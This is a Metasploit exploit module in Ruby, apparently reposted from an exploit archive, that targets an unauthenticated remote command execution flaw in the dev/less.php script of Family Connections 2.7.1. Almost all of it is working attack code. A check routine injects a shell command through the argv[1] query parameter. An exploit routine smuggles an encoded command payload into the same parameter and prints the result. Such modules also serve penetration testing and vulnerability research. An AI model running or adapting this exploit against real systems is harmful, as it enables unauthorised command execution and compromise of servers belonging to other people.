Family Connections less.php Remote Command Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::HttpClient
 
    def initialize(info={})
        super(update_info(info,
            'Name'           => 'Family Connections less.php Remote Command Execution',
            'Description'    => %q{
                This module exploits an arbitrary command execution vulnerability in
                Family Connections 2.7.1. It's in the dev/less.php script and is due
                to an insecure use of system().  Authentication isn't required to exploit
                the vulnerability but register_globals must be set to On.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'mr_me <steventhomasseeley[at]gmail.com>', # Vulnerability discovery and exploit
                    'juan vazquez'  # Metasploit module
                ],
            'References'     =>
                [
                    [ 'URL', 'https://www.familycms.com/blog/2011/11/security-vulnerability-fcms-2-5-2-7-1/' ],
                    [ 'URL', 'http://sourceforge.net/apps/trac/fam-connections/ticket/407' ],
                    [ 'URL', 'http://rwx.biz.nf/advisories/fc_cms_rce_adv.html' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/18198/' ]
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'Compat'     =>
                    {
                        'PayloadType'  => 'cmd',
                        'RequiredCmd'  => 'generic telnet perl ruby',
                    }
                },
            'Platform'       => ['unix', 'linux'],
            'Arch'           => ARCH_CMD,
            'Targets'        => [['Automatic',{}]],
            'DisclosureDate' => 'Nov 29 2011',
            'DefaultTarget'  => 0
        ))
 
        register_options(
            [
                OptString.new('URI', [true, "The path to the Family Connections main site", "/fcms/"]),
            ],self.class)
    end
 
    def check
        uri = datastore['URI']
        uri += (datastore['URI'][-1, 1] == "/") ? "dev/less.php" : "/dev/less.php"
 
        mark = Rex::Text.rand_text_alpha(rand(5) + 5)
 
        res = send_request_cgi({
            'uri'       => uri,
            'vars_get'  => { 'argv[1]' => "|echo #{mark};#" }
        }, 25)
 
        if res and res.code == 200 and res.body =~ /#{mark}/
            return Exploit::CheckCode::Vulnerable
        end
 
        return Exploit::CheckCode::Safe
    end
 
    def exploit
        uri = datastore['URI']
        uri += (datastore['URI'][-1, 1] == "/") ? "dev/less.php" : "/dev/less.php"
 
        start_mark = Rex::Text.rand_text_alpha(rand(5) + 5)
        end_mark  = Rex::Text.rand_text_alpha(rand(5) + 5)
        custom_payload = "|echo #{start_mark};#{payload.encoded};echo #{end_mark};#"
 
        res = send_request_cgi({
            'uri'       => uri,
            'vars_get'  => { 'argv[1]' => custom_payload }
        }, 25)
 
        if res and res.code == 200 and res.body =~ /#{start_mark}/
            # Prints output when using cmd/unix/generic
            result = res.body.split(/#{start_mark}/)[1].split(/#{end_mark}/)[0]
            if not result.strip.empty?
                print_status("Result of the command:\n#{result}")
            end
        end
    end
 
end



#  0day.today [2018-02-09]  #